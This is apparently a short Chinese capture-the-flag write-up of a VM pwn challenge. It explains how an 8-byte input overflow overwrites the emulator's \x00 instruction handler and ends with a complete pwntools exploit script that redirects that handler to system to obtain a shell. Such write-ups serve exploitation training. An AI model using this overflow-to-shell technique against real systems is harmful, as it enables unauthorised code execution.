chall
第一道做出来的vm题,虽然是赛后复现的
没有PIE,没有去符号表,比较友善
题目申请了一个很大的堆,并且在堆的后半部分按规律写入了nop mov mvi
三个函数的地址,在ptr+24
处读入用户输入后开始模拟
每次模拟指令会从ptr+8
处读取pc
,再读取ptr+12+pc
处的字符mem
,则此次模拟的函数为ptr+mem+2050
处储存的函数,以ptr
为参数执行函数后,pc
++
题目的漏洞点为,输入数据时会多溢出8个字节,可以覆盖字符\x00
对应的函数,而且题目中提供了system
函数
mvi
函数的功能是根据指令将后一个字符复制到ptr
的前几位,配合溢出可以构造payload
执行system("sh")
题目比较迷惑的一点是,输入的内容存在ptr+24
,取内存时却是从ptr+12
开始取,所以当pc
为12前,会执行12次\x00
对应的函数
搞明白程序流程后,exp就很简单了
from pwn import *
context(arch='amd64')
local=1
_elf='./chall'
elf=ELF(_elf)
def getConn():
if local ==1:
return process(_elf)
else:
return remote(addr,port)
def debug(p,cmd=None):
if local==1:
gdb.attach(p,cmd)
nop=0x401437
mov=0x40165b
mvi=0x401505
system=0x4010d0
p=getConn()
p.sendline((b'\x3e\x73\x06\x68\x00').ljust(0x3ff8,b'@')+p64(system))
p.interactive()